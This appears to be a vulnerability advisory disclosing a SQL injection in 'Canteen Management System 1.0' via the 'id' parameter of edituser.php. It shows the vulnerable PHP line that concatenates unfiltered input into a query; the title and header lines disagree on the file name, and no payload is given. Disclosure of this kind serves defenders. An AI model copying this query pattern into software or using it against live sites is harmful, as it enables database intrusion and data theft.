# Canteen Management System - edituser.php 'id' SQL inject

Exploit Title: Canteen Management System - login.php 'id' SQL inject

Exploit Author: [webraybtl@webray.com.cn](mailto:webraybtl@webray.com.cn) inc

Vendor Homepage: <https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html>

Software Link: <https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html>

Version: Canteen Management System 1.0

Tested on: Windows Server 2008 R2 Enterprise, Apache ,Mysql

Description

The reason for the SQL injection vulnerability is that the website application does not verify the validity of the data submitted by the user to the server (type, length, business parameter validity, etc.), and does not effectively filter the data input by the user with special characters, so that the user's input is directly brought into the database for execution, which exceeds the expected result of the original design of the SQL statement, resulting in a SQL injection vulnerability. Canteen Management System does not filter the content correctly at the "edituser.php /id" parameter, resulting in the generation of SQL injection.

2、 Looking at the source code, it is found that the id field is directly brought into the SQL statement query without filtering

```
$sql="SELECT * from users where user_id='".$$_GET['id']."'";
$result=$connect->query($sql)->fetch_assoc(); ?>

<div class="page-wrapper">
